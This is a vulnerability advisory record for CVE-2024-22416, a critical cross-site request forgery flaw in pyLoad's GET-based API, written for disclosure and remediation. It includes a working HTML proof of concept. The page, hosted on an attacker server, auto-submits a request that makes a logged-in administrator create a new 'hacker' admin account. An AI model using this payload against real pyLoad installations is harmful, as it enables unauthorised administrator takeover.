---
id: CVE-2024-22416
aliases:
  - GHSA-pgpj-v85q-h5fm
  - PYSEC-2024-17
title: >-
  Cross-Site Request Forgery on any API call in pyLoad may lead to admin
  privilege escalation
summary: >-
  Cross-Site Request Forgery on any API call in pyLoad may lead to admin
  privilege escalation
severity: critical
cvss: 9.6
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H'
vendor: pyload-ng
product: pyload-ng
ecosystem: pip
affected:
  - pyload-ng < 0.5.0b3.dev78
patched:
  - pyload-ng 0.5.0b3.dev78
published: '2024-01-19'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:50:05.056650752Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-pgpj-v85q-h5fm'
references:
  - url: 'https://github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fm'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2024-22416'
  - url: >-
      https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3e
  - url: >-
      https://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fc
  - url: 'https://github.com/pyload/pyload'
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-17.yaml
tags:
  - osv
  - pip
  - exploit-available
epss: 0.00948
epssPercentile: 0.59496
exploits:
  github: 1
  githubRepos:
    - 'https://github.com/theorzr/ensimag-secu3a-cve-2024-22416'
  checkedAt: '2026-09-25T08:20:42.847Z'
exploitAvailable: true
ingestedAt: '2026-09-12T03:13:01.715Z'
---

## Overview

### Summary
The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.

### PoC
We host the following HTML file on an attacker-controlled server.
```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

If we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application.
![image](https://user-images.githubusercontent.com/44903767/294942232-d874e838-f8eb-492f-98df-2d16ba74ff25.png)

The attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`.
![image](https://user-images.githubusercontent.com/44903767/294942635-c6d9adca-0f3a-4d99-92ac-6d3bf8e9ee01.png)

### Impact
Any API call can be made via a CSRF attack by an unauthenticated user.


## Affected packages

- `pyload-ng < 0.5.0b3.dev78`

## Remediation

Upgrade to a patched release:

- `pyload-ng 0.5.0b3.dev78`
